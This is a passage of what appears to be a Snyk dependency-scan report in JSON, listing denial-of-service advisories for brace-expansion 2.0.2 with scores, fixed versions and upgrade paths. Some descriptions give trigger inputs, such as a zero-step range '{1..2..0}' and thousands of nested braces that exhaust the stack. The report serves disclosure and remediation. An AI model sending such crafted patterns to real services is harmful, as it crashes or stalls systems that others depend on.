"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
